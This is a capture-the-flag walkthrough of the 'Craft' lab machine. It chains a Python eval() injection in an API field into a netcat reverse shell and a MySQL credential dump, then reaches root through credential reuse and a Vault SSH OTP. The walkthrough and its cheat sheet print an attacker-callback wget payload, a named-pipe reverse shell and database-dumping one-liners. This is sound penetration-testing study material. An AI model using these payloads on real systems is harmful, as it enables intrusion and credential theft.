πΊ Craft
Machine: Craft
Difficulty: Medium
Theme: HTTPS vhosts β Gogs source review β leaked API credentials β authenticated Python eval() injection β container shell β internal MySQL credential dump β Gogs private repo β encrypted SSH key β Vault SSH OTP β root shell
π― Summary
Craft is a Linux machine focused on source-code review, API abuse, container post-exploitation, credential reuse, and Vault-backed SSH access.
Initial enumeration reveals SSH on port 22, HTTPS on port 443, and another SSH-like service on port 6022. The HTTPS service exposes the Craft website and points to two virtual hosts: api.craft.htb and gogs.craft.htb.
The API exposes Swagger-style documentation, but authenticated write operations require a token. The public Gogs instance hosts the Craft/craft-api repository. An issue titled around bogus ABV values exposes an example API request and links to a commit that attempted to fix ABV validation. The commit shows that user-controlled JSON input from the abv field is interpolated into a Python eval() expression.
A test script in the repository shows the API login flow. The current version has blank credentials, but Git history reveals working Basic Auth credentials for the API user. These credentials are used to generate a fresh API token.
The vulnerable /api/brew/ endpoint is abused by placing Python code in the abv field. Initial arithmetic tests confirm server-side evaluation. A harmless HTTP callback confirms blind command execution. The same primitive is then used to obtain a reverse shell as root inside the application container.
Inside the container, /.dockerenv confirms the shell is container root, not host root. Application settings disclose internal MySQL credentials. The container can resolve the internal database host db, so the applicationβs own Python dependencies are used to query MySQL. The user table contains plaintext credentials for several users.
The recovered gilfoyle credential works against Gogs. Gilfoyleβs private repository contains an encrypted SSH private key. The database password is reused as the key passphrase, allowing SSH access to the host as gilfoyle.
On the host, gilfoyle has a .vault-token. Vault is installed locally, reachable, and the token has the root policy. Vaultβs SSH secrets engine exposes a root_otp role configured for root login via one-time password. Using vault ssh generates an OTP, which is pasted into the SSH password prompt to obtain a root shell and read root.txt.
1. Enumeration
Initial service scan:
sudo nmap -sC -sV -vv -oA nmap/craft [TARGET_IP]Initial results:
22/tcp open ssh OpenSSH 7.4p1 Debian
443/tcp open ssl/http nginx 1.15.8A full TCP scan found an additional port:
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP]Important ports:
22/tcp ssh
443/tcp https
6022/tcp ssh-like serviceThe TLS certificate on port 443 leaked the base hostname:
commonName=craft.htb
Issuer: Craft CAHostnames were added to /etc/hosts:
echo "[TARGET_IP] craft.htb api.craft.htb gogs.craft.htb" | sudo tee -a /etc/hostsImportant gotcha:
The default Nmap scan found only ports 22 and 443. The full port scan was needed to reveal 6022, although 6022 did not become the main path.
2. HTTPS and Vhost Enumeration
Browsing to:
https://craft.htb/showed the Craft homepage.
The page linked to two important virtual hosts:
api.craft.htb
gogs.craft.htbThe API host exposed Swagger-style documentation:
https://api.craft.htb/api/The API certificate was not trusted locally, so curl requests needed TLS verification disabled:
curl -k https://api.craft.htb/api/Testing the login endpoint without credentials returned:
Authentication failedThis confirmed that the endpoint was reachable and that the issue was application-layer authentication, not TLS or DNS.
Important gotcha:
The APIβs public GET /api/brew listing is not the vulnerable path. The interesting route is authenticated POST /api/brew/, because that reaches the brew creation logic.
3. Gogs Enumeration
The Gogs virtual host exposed a self-hosted Git service:
https://gogs.craft.htb/The public repositories contained:
Craft/craft-apiThe issue tracker contained an issue about bogus ABV values. The issue was important because it disclosed:
an example API request
the affected /api/brew/ endpoint
the abv field
a linked commit that attempted to fix validationThe linked commit modified:
craft_api/api/brew/endpoints/brew.pyRelevant vulnerable logic:
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201This was the core bug.
The user-controlled abv value is not parsed safely as a decimal. It is interpolated into a Python expression and passed to eval().
Server-side expression shape:
<attacker-controlled abv> > 1Important gotcha:
This is not normal command injection where raw shell syntax is executed directly. The payload first has to be valid Python expression syntax.
4. API Token Workflow
The issue contained an old API token, but using it failed:
curl -H 'X-Craft-API-Token: [OLD_TOKEN]' \
-H "Content-Type: application/json" \
-k \
-X POST https://api.craft.htb/api/brew/ \
--data '{"name":"test","brewer":"test","style":"test","abv":"15.0"}'Response:
{"message": "Invalid token or no token found."}The token was stale or expired.
A test script in the repository showed the correct API flow:
response = requests.get(
'https://api.craft.htb/api/auth/login',
auth=('', ''),
verify=False
)
json_response = json.loads(response.text)
token = json_response['token']
headers = {
'X-Craft-API-Token': token,
'Content-Type': 'application/json'
}The current version had blank credentials, but Git history revealed the original values:
dinesh:[DINESH_API_PASSWORD]The script was updated locally to authenticate dynamically:
response = requests.get(
'https://api.craft.htb/api/auth/login',
auth=('dinesh', '[DINESH_API_PASSWORD]'),
verify=False
)
json_response = json.loads(response.text)
token = json_response['token']
headers = {
'X-Craft-API-Token': token,
'Content-Type': 'application/json'
}Token validation:
response = requests.get(
'https://api.craft.htb/api/auth/check',
headers=headers,
verify=False
)
print(response.text)Expected output:
{"message":"Token is valid!"}Important gotcha:
The leaked issue token was useful for learning the header format, but it was not valid anymore. The working path was to recover Basic Auth credentials from Git history and request a fresh token.
5. Confirming the eval() Primitive
The test script was used as a harness for authenticated POST requests.
Baseline high ABV:
brew_dict['abv'] = '15.0'Response:
400
"ABV must be a decimal value less than 1.0"Baseline low ABV:
brew_dict['abv'] = '0.15'Response:
nullThen arithmetic expressions were tested.
Input:
brew_dict['abv'] = '2.4+2.4'The server evaluates:
2.4+2.4 > 1This is true, so the app returns the validation branch:
400
"ABV must be a decimal value less than 1.0"Input:
brew_dict['abv'] = '0.4+0.4'The server evaluates:
0.4+0.4 > 1This is false, so the app enters create_brew(request.json).
However, the database receives the raw string:
0.4+0.4not the evaluated result 0.8.
This caused:
{"message": "An unhandled exception occurred."}Important gotcha:
The 500 from 0.4+0.4 was not a failed injection. It actually confirmed the branch behavior. The expression evaluated successfully, but the raw non-decimal string caused a DB insert error.
6. Blind Code Execution Proof
A harmless HTTP callback was used before attempting a shell.
Attacker listener:
python3 -m http.server 8001The abv field was changed to a Python expression that invokes a shell command through os.system():
brew_dict['abv'] = "__import__('os').system('wget -qO- http://[ATTACKER_TUN_IP]:8001/unique-test-path') or 2"This is valid inside eval() because __import__('os').system(...) is a Python expression.
Expected API response:
400
"ABV must be a decimal value less than 1.0"Expected attacker HTTP server log:
[TARGET_IP] - - "GET /unique-test-path HTTP/1.1" 404 -The 404 was success. The file did not exist, but the target reached the attacker-controlled server.
Important gotchas:
Raw shell syntax such as this does not work inside eval():
wget http://[ATTACKER_TUN_IP]:8001/testThe target is evaluating Python, not directly passing the input to /bin/sh.
The command must be wrapped inside a Python expression, for example:
__import__('os').system('<shell command>')7. Reverse Shell as Container Root
The first Bash /dev/tcp reverse shell did not work reliably in the target environment.
A more portable named-pipe Netcat shell was used instead:
brew_dict['abv'] = "__import__('os').system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [ATTACKER_TUN_IP] 4444 > /tmp/f') or 2"Attacker listener:
nc -lvnp 4444Trigger:
python3 test.pyConnection:
Connection received on [TARGET_IP]
/bin/sh: can't access tty; job control turned off
/opt/app #Initial verification:
whoami
id
pwdOutput:
root
uid=0(root) gid=0(root) groups=0(root),...
/opt/appContainer check:
ls -la /The root directory contained:
.dockerenvThis confirmed that the shell was root inside the application container, not root on the host.
Important gotchas:
The API request may hang when the reverse shell connects. That is normal because the spawned command may not return.
The shell was fragile. vi, heredocs, and full TTY upgrades were unreliable because the container did not have /bin/bash. Simple commands and Python one-liners were more reliable.
8. Container Enumeration
The working directory was:
/opt/appInteresting files:
/opt/app/app.py
/opt/app/dbtest.py
/opt/app/tests/test.py
/opt/app/craft_api/settings.py
/opt/app/craft_api/database/models.pyThe application settings disclosed internal secrets:
CRAFT_API_SECRET = '[CRAFT_API_SECRET]'
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = '[MYSQL_PASSWORD]'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'The DB host db was internal to the container network and was not exposed externally.
The file /opt/app/dbtest.py already contained the right connection pattern using pymysql and craft_api.settings.
Important gotcha:
External MySQL access from the attacker machine was not needed. The application container already had network access to the internal DB and the correct Python dependencies.
9. Internal MySQL Enumeration
Because the shell was unstable, Python one-liners were used instead of editing files interactively.
List tables:
cd /opt/app
python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SHOW TABLES"); print(cur.fetchall()); c.close()'Output:
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]Dump user table:
python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SELECT * FROM `user`"); print(cur.fetchall()); c.close()'Recovered users:
dinesh:[DINESH_PASSWORD]
ebachman:[EBACHMAN_PASSWORD]
gilfoyle:[GILFOYLE_PASSWORD]Important gotcha:
The user table name should be wrapped in backticks:
SELECT * FROM `user`;This avoids parsing issues with reserved or special identifiers.
10. Credential Reuse Testing
The recovered DB credentials were added to creds.txt:
craft:[MYSQL_PASSWORD]
CRAFT_API_SECRET:[CRAFT_API_SECRET]
dinesh:[DINESH_PASSWORD]
ebachman:[EBACHMAN_PASSWORD]
gilfoyle:[GILFOYLE_PASSWORD]Direct SSH password login on port 22 failed:
ssh gilfoyle@[TARGET_IP] -p 22
ssh ebachman@[TARGET_IP] -p 22Output:
Permission denied (publickey,keyboard-interactive).Port 6022 produced an older SSH host key compatibility issue:
Unable to negotiate with [TARGET_IP] port 6022: no matching host key type found. Their offer: ssh-rsaThis was not worth chasing at that stage.
The better pivot was Gogs credential reuse.
Login URL:
https://gogs.craft.htb/user/loginThe gilfoyle credential worked.
Important gotcha:
SSH password reuse failed, but the same credential was valid in Gogs. Do not stop testing credentials after one service rejects them.
11. Gilfoyleβs Private Gogs Repository
After logging into Gogs as gilfoyle, private material became visible.
The interesting repository contained infrastructure/SSH material, including:
.ssh/id_rsaThe key was encrypted:
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----The key header showed encryption:
aes256-ctr
bcryptThe private key was saved locally:
vi gilfoyle_id_rsa
chmod 600 gilfoyle_id_rsaSSH with the key:
ssh -i gilfoyle_id_rsa gilfoyle@[TARGET_IP]When prompted for the key passphrase, the DB password for gilfoyle was used:
[GILFOYLE_PASSWORD]Host access was obtained:
gilfoyle@craft:~$Verification:
whoami
id
hostname
pwdExpected:
gilfoyle
uid=1001(gilfoyle) gid=1001(gilfoyle) ...
craft
/home/gilfoyleThe user flag was located at:
/home/gilfoyle/user.txtImportant gotcha:
The recovered Gogs SSH key was encrypted. The DB password was not an SSH password, but it was reused as the private key passphrase.
12. Host Enumeration as Gilfoyle
Home directory file enumeration:
find ~ -maxdepth 3 -type f -ls 2>/dev/nullInteresting files:
/home/gilfoyle/user.txt
/home/gilfoyle/.ssh/authorized_keys
/home/gilfoyle/.ssh/known_hosts
/home/gilfoyle/.vault-tokenThe .vault-token file was immediately suspicious:
cat ~/.vault-tokenVault was installed:
which vaultOutput:
/usr/local/bin/vaultVault status:
vault statusOutput:
Seal Type shamir
Initialized false
Sealed false
Version 0.11.1
HA Enabled falseImportant gotcha:
The .vault-token file had no trailing newline, so the token output visually ran into the shell prompt. That did not affect its validity.
13. Vault Token Enumeration
The token was inspected:
vault token lookupImportant output:
display_name root
path auth/token/root
policies [root]
ttl 0sThis was a root-policy Vault token.
Enabled secrets engines:
vault secrets listOutput:
cubbyhole/
identity/
secret/
ssh/
sys/The ssh/ secrets engine was enabled.
Roles were listed:
vault list ssh/rolesOutput:
root_otpThe role was inspected:
vault read ssh/roles/root_otpOutput:
allowed_users n/a
cidr_list 0.0.0.0/0
default_user root
key_type otp
port 22This showed that Vault could generate a one-time SSH password for root.
Important gotcha:
The Vault token itself is not the root SSH password. It is used to ask Vault to generate a one-time SSH password.
14. Root via Vault SSH OTP
Vaultβs SSH helper was used:
vault ssh -role root_otp -mode otp root@127.0.0.1Vault reported that sshpass was not installed, so it could not automatically paste the OTP. It still displayed the OTP:
OTP for the session is: [VAULT_OTP]At the SSH password prompt, the OTP was pasted manually.
Successful root shell:
root@craft:~#Verification:
whoami
id
hostname
pwdExpected:
root
uid=0(root) gid=0(root) groups=0(root)
craft
/rootThe root flag was recovered from:
/root/root.txtImportant gotchas:
The OTP is one-time and short-lived. If it fails, generate a fresh OTP.
The warning about missing sshpass is not a failure. It only means Vault cannot automate the password entry.
Use 127.0.0.1 from the host shell because the role is configured for SSH on port 22 and allows 0.0.0.0/0.
π Condensed Attack Chain
Initial scan
β
SSH, HTTPS, and port 6022 discovered
β
TLS certificate leaks craft.htb
β
/etc/hosts configured
β
craft.htb homepage reveals api.craft.htb and gogs.craft.htb
β
API docs reviewed
β
Gogs public repository discovered
β
Issue about bogus ABV values found
β
Linked commit reviewed
β
brew.py uses eval() on request.json['abv']
β
API test script found
β
Current script has blank credentials
β
Git history reveals dinesh API credentials
β
Fresh API token generated
β
/api/auth/check confirms token validity
β
Authenticated POST to /api/brew/ reaches vulnerable code
β
Arithmetic ABV tests confirm Python eval behavior
β
HTTP callback confirms blind code execution
β
Python os.system payload gets reverse shell
β
Shell lands as root inside Docker container
β
/.dockerenv confirms container context
β
Application settings disclose MySQL credentials
β
Internal DB host db queried from container
β
user table dumped
β
Plaintext Gogs credentials recovered
β
gilfoyle logs into Gogs
β
Private repo exposes encrypted SSH private key
β
gilfoyle DB password unlocks SSH key
β
SSH as gilfoyle on host
β
user.txt recovered
β
~/.vault-token found
β
Vault token has root policy
β
ssh/ secrets engine contains root_otp role
β
Vault generates one-time SSH password for root
β
SSH as root using OTP
β
root.txt recoveredπ§ Key Takeaways
Public source repositories are high-value. Issues, commits, and test scripts often contain more useful information than the running web app.
Git history matters. The current test script had blank credentials, but older commits preserved working API credentials.
Stale tokens can still be useful. The old API token from the issue failed, but it revealed the correct header format and protected endpoint.
The vulnerable code was not just bad validation. It was unsafe Python expression evaluation:
eval('%s > 1' % request.json['abv'])For eval() bugs, payloads must be valid Python expressions. Raw shell commands do not work unless wrapped inside something like __import__('os').system(...).
Branch behavior matters. Expressions evaluating above 1 returned the ABV validation error, while expressions below 1 reached the DB insert path and caused a 500 when the raw expression string was inserted.
A 404 from an attacker-controlled HTTP server can be a success signal. The path did not exist, but the inbound request proved target-side execution.
Container root is not host root. /.dockerenv changed the next step from host privesc to application/container enumeration.
Application config often contains the next pivot. settings.py disclosed internal MySQL credentials and the internal DB hostname.
Internal services may only be reachable from the container. Querying MySQL from inside the container was easier than trying to expose or tunnel the DB externally.
Credential reuse should be tested across contexts. The DB passwords did not work as direct SSH passwords, but Gilfoyleβs credential worked in Gogs.
Private developer repositories can contain host access material. Gilfoyleβs private repo exposed an encrypted SSH private key.
A reused password may unlock a key even if it does not work as an account password. Gilfoyleβs DB password was the SSH key passphrase.
Vault tokens are powerful local artifacts. A .vault-token with root policy gave access to the Vault SSH secrets engine.
Vault SSH OTP is not the same as a password stored in a file. The token is used to generate a temporary password for SSH.
Missing sshpass is not fatal. Vault displayed the OTP, and it could be pasted manually into the SSH password prompt.
β‘ Commands Cheat Sheet
Host setup
echo "[TARGET_IP] craft.htb api.craft.htb gogs.craft.htb" | sudo tee -a /etc/hostsNmap
sudo nmap -sC -sV -vv -oA nmap/craft [TARGET_IP]
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP]API basic checks
curl -k https://api.craft.htb/api/
curl -k -X GET "https://api.craft.htb/api/auth/login" \
-H "accept: application/json"Authenticated API harness
#!/usr/bin/env python3
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(
'https://api.craft.htb/api/auth/login',
auth=('dinesh', '[DINESH_API_PASSWORD]'),
verify=False
)
json_response = json.loads(response.text)
token = json_response['token']
headers = {
'X-Craft-API-Token': token,
'Content-Type': 'application/json'
}
response = requests.get(
'https://api.craft.htb/api/auth/check',
headers=headers,
verify=False
)
print(response.text)
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'test'
brew_dict['brewer'] = 'test'
brew_dict['style'] = 'test'
json_data = json.dumps(brew_dict)
response = requests.post(
'https://api.craft.htb/api/brew/',
headers=headers,
data=json_data,
verify=False
)
print(response.status_code)
print(response.text)Eval arithmetic tests
brew_dict['abv'] = '2.4+2.4'brew_dict['abv'] = '0.4+0.4'HTTP callback proof
Attacker:
python3 -m http.server 8001Payload:
brew_dict['abv'] = "__import__('os').system('wget -qO- http://[ATTACKER_TUN_IP]:8001/unique-test-path') or 2"Reverse shell
Listener:
nc -lvnp 4444Payload:
brew_dict['abv'] = "__import__('os').system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [ATTACKER_TUN_IP] 4444 > /tmp/f') or 2"Container checks
whoami
id
pwd
ls -la /
cat /.dockerenv
hostnameApplication config
cd /opt/app
cat craft_api/settings.py
cat dbtest.pyMySQL enum from container
List tables:
python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SHOW TABLES"); print(cur.fetchall()); c.close()'Dump users:
python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SELECT * FROM `user`"); print(cur.fetchall()); c.close()'SSH with recovered private key
chmod 600 gilfoyle_id_rsa
ssh -i gilfoyle_id_rsa gilfoyle@[TARGET_IP]Use Gilfoyleβs recovered DB password as the key passphrase.
Host enumeration as Gilfoyle
whoami
id
hostname
pwd
find ~ -maxdepth 3 -type f -ls 2>/dev/null
cat ~/.vault-token
which vault
vault statusVault enumeration
vault token lookup
vault secrets list
vault list ssh/roles
vault read ssh/roles/root_otpRoot via Vault OTP
vault ssh -role root_otp -mode otp root@127.0.0.1Paste the displayed OTP at the SSH password prompt.
Manual OTP generation alternative:
vault write ssh/creds/root_otp ip=127.0.0.1
ssh root@127.0.0.1π§ Diagnostic Map
Symptom: curl to API fails with TLS error
Meaning: The Craft CA/cert chain is not trusted locally
Next: Use -k for lab testing or import the CA if needed
Symptom: /api/auth/login returns Authentication failed
Meaning: Endpoint is reachable but missing valid Basic Auth
Next: Search Gogs for API login examples and credentials
Symptom: Old issue token returns Invalid token or no token found
Meaning: The leaked JWT is stale/expired
Next: Use credentials from Git history to generate a fresh token
Symptom: POST body returns βbrowser/proxy sent a request this server could not understandβ Meaning: Malformed JSON Next: Fix JSON before debugging auth or payloads
Symptom: 0.4+0.4 returns 500
Meaning: Expression evaluated false and reached DB insert with raw non-decimal string
Next: Use expressions that force the validation branch while testing side effects
Symptom: 2.4+2.4 returns ABV validation message
Meaning: Python expression evaluation is happening
Next: Move to harmless side-effect proof
Symptom: Python HTTP server logs 404 for /unique-test-path
Meaning: Callback worked; file path not existing is irrelevant
Next: Move to reverse shell payload
Symptom: Raw wget http://... in abv fails
Meaning: The sink is Python eval(), not direct shell execution
Next: Wrap shell commands inside Python expression syntax
Symptom: Bash /dev/tcp reverse shell fails
Meaning: Bash or /dev/tcp support may be missing/unusable
Next: Use /bin/sh + named-pipe Netcat payload
Symptom: Shell lands as root but /.dockerenv exists
Meaning: Root inside container, not host root
Next: Enumerate app config and internal services
Symptom: vi breaks the shell
Meaning: Raw Netcat shell lacks a proper TTY
Next: Use simple one-liners, transfer files, or spawn /bin/sh PTY if possible
Symptom: /bin/bash not found during PTY upgrade
Meaning: Minimal container environment
Next: Use /bin/sh
Symptom: MySQL is not externally reachable Meaning: DB is internal to the container network Next: Query it from inside the app container using app settings
Symptom: SSH password login fails with DB creds Meaning: Credentials are not valid direct SSH passwords Next: Try Gogs login and inspect private repos
Symptom: Port 6022 fails with ssh-rsa negotiation error
Meaning: Old SSH algorithm rejected by modern client
Next: Do not rabbit-hole unless needed; Gogs is the better pivot
Symptom: SSH key asks for passphrase Meaning: Private key is encrypted Next: Try the matching recovered user password as the key passphrase
Symptom: .vault-token output runs into prompt
Meaning: Token file has no newline
Next: Still use Vault CLI normally
Symptom: Vault says sshpass missing
Meaning: Vault cannot automate password entry
Next: Manually paste the displayed OTP at the SSH password prompt
Symptom: OTP fails Meaning: OTP may be expired or already used Next: Generate a fresh OTP
π Related Manual Notes
Field-manual techniques demonstrated on this box:
- Virtual_Hosts β hostname discovery from web links and TLS metadata
- Common_Apps_GitLab_osTicket β reviewing a self-hosted git service (repos, issues, commit history)
- Common_Apps_Discovery_Notable β fingerprinting notable apps (Gogs, Vault)
- Web_Proxies_Burp β crafting authenticated API requests and token headers
- Command_Injection_Fundamentals β blind code execution and callback validation
- Shell_Infiltrate_Linux β Linux reverse-shell selection (named-pipe netcat)
- Shell_Stabilization β raw-shell limitations and TTY upgrade
- File_Transfer_Linux β HTTP callbacks and simple transfer workflow
- Linux_PrivEsc_Methodology β local enumeration approach
- Linux_PrivEsc_Enumeration β container-vs-host detection and hidden-file hunting
- Attacking_SQL_Databases β querying internal DBs with recovered app credentials
- Linux_Remote_Management_SSH_Rsync_RServices β SSH key usage and encrypted-key passphrases
- Credential_Hunting_Linux β credential reuse across services
π Personal Notes
Craft was an excellent CPTS-style box because the main weakness was not a public CVE. The important work was reading code, understanding application logic, and following credentials across trust boundaries.
The first key lesson was that source-code review can be the exploit. The API docs showed the surface, but Gogs showed the bug. The issue tracker pointed to the affected field, and the commit diff showed the unsafe implementation.
The second key lesson was to always inspect Git history. The current test script had blank credentials, but the old commit preserved the real Basic Auth values. Without checking history, the stale issue token could have become a rabbit hole.
The eval() behavior was also a useful reminder to reason about the exact sink. The app was not executing shell commands directly. It was evaluating Python expressions. That meant payloads had to be valid Python first, then shell execution could be reached through os.system().
The arithmetic tests were useful because they explained the branch behavior. 2.4+2.4 returned the ABV validation message because the expression evaluated above the threshold. 0.4+0.4 caused a server error because the expression evaluated below the threshold and the raw string was inserted into MySQL.
The HTTP callback was the right intermediate proof. Seeing a 404 from the Python HTTP server was enough to prove target-side execution. The content of the response did not matter.
The initial shell was misleading because it was root. The presence of /.dockerenv made it clear this was container root, not host root. From there, the right move was application configuration, not generic kernel privesc.
The MySQL pivot was clean. settings.py exposed credentials, and the container could resolve the internal DB host db. Querying from inside the container avoided unnecessary tunneling.
Credential reuse drove the next stage. The DB passwords failed as direct SSH passwords, but Gilfoyleβs password worked in Gogs and unlocked the encrypted SSH private key. This reinforced the habit of testing credentials across all relevant services, not just the first one.
The final Vault stage was a good example of legitimate administrative tooling becoming the privesc path. .vault-token looked small, but the token had root policy. The enabled SSH secrets engine and root_otp role provided a one-time root SSH password.
Overall methodology:
Enumerate vhosts carefully. Read public repositories and issue history. Inspect commit diffs. Use test scripts as request templates. Check Git history for secrets. Prove code execution with harmless callbacks before shells. Treat container root as an intermediate position. Pull application secrets from config. Query internal services from the position that can reach them. Test credential reuse across web, SSH, and key passphrases. Inspect hidden host files. When Vault is present, enumerate token permissions, secrets engines, and SSH roles before trying sudo or generic privesc.